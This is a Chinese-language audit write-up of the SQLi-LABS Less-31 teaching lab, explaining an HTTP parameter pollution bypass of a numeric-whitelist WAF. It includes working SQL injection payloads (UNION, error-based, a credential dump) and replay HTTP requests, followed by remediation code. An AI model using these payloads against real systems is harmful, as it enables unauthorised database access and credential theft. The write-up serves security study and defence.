sqli-labs-Less-31-代码审计报告

12次阅读
没有评论

Less-31 审计报告:HTTP 参数污染(HPP)绕过 WAF 白名单(双引号+括号)

1. 关卡概述

项目 内容
关卡名称 Less-31 FUN with WAF
源码路径 Less-31/login.php(WAF 入口,注入点)、Less-31/index.php(无过滤)
漏洞类型 SQL 注入 – 报错/联合注入,HPP 绕过 WAF 数字白名单,双引号+括号闭合
注入点参数 GET /Less-31/login.php?id=(重复 id 参数)
报错/盲注 报错回显(login.php 第 53 行,index.php 第 45 行)
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件一:Less-31/login.php(带 WAF 的注入点)

// 第 17 行:关闭 PHP 警告
error_reporting(0);

// 第 22~25 行:两个不同的取值方式
$qs = $_SERVER['QUERY_STRING'];      // 原始查询字符串
$hint=$qs;
$id1=java_implimentation($qs);       // 取"第一个" id 值
$id=$_GET['id'];                     // PHP 取"最后一个" id 值

// 第 27 行:仅校验第一个 id
whitelist($id1);

// 第 28 行:双引号包裹
$id = '"' .$id. '"';

// 第 39 行:括号 + 双引号拼接,SQL 使用 $id(最后一个 id,未过滤)
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

// 第 53 行:报错回显
print_r(mysql_error());
// 第 69~82 行:白名单 —— 只允许纯数字
function whitelist($input)
{
    $match = preg_match("/^\d+$/", $input);
    if($match) { }
    else { header('Location: hacked.php'); }
}
// 第 87~106 行:模拟 Java 容器取"第一个" id 值
function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array= explode("&",$q_s);
    foreach($qs_array as $key => $value)
    {
        $val=substr($value,0,2);
        if($val=="id") {
            $id_value=substr($value,3,30);
            return $id_value;
        }
    }
}

文件二:Less-31/index.php(无 WAF)

// 第 20 行:直接取参数,无任何过滤
$id=$_GET['id'];

// 第 28 行:双引号包裹
$id = '"'.$id.'"';

// 第 31 行:括号 + 双引号拼接
$sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";

// 第 45 行:报错回显
print_r(mysql_error());

3. 漏洞分析

  • WAF 机制:同 Less-29/30,whitelist() 仅校验第一个 id(/^\d+$/),$_GET['id'] 取最后一个 id 进入 SQL——校验值 ≠ 使用值。
  • 闭合方式:WHERE id=($id),其中 $id = '"' .$id. '"',即 WHERE id=("<payload>")。payload 以 1") 闭合 (" 与括号,-- - 注释尾部。
  • HPP 利用:?id=1&id=<payload> 第一个 id=1 过白名单,第二个进入 SQL。
  • 报错回显:login.php 第 53 行、index.php 第 45 行均有 mysql_error(),可报错注入;UNION 结果亦直接显示。

4. 利用方式

步骤一:确认 HPP 生效(login.php)

  • ?id=1&id=2 → 正常显示 id=2 用户信息。

步骤二:联合注入(HPP 绕过 + 双引号/括号闭合)

?id=1&id=1") union select 1,2,database()-- -

拼接后:

SELECT * FROM users WHERE id=("1") union select 1,2,database()-- -") LIMIT 0,1
  • 结果显示 Your Login name:2、Your Password:security。

步骤三:报错注入

?id=1&id=1") and extractvalue(1,concat(0x7e,database()))-- -

回显 XPATH syntax error: '~security'。

步骤四:直接访问 index.php(无 WAF)

?/Less-31/index.php?id=-1") union select 1,2,group_concat(username,0x3a,password) from users-- -

5. Yakit 重放数据包

GET /sqli-labs/Less-31/login.php?id=1&id=1")%20union%20select%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

报错注入报文:

GET /sqli-labs/Less-31/login.php?id=1&id=1")%20and%20extractvalue(1,concat(0x7e,database()))--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

关键:必须同时存在两个 id 参数,第一个纯数字通过 WAF,第二个为 payload。"、) 在 query string 中可直接发送。


6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:统一取值 + 白名单

<?php
// 1) 统一取最后一个 id 并强校验
$id = $_GET['id'];
if (!preg_match('/^\d+$/', $id)) {
    header('Location: hacked.php'); exit;
}
// 2) 参数化
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();

修复三:加固要点

  • 统一 WAF 与后端对重复参数的处理规则;重复参数直接拒绝;
  • 关闭 mysql_error() 回显;数据库最小权限;
  • 升级 PHP 7+ / 8+,移除 mysql_*。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
  • 本关相比 Less-30 的区别:模板为 id=($id),payload 闭合 1")。
正文完
 0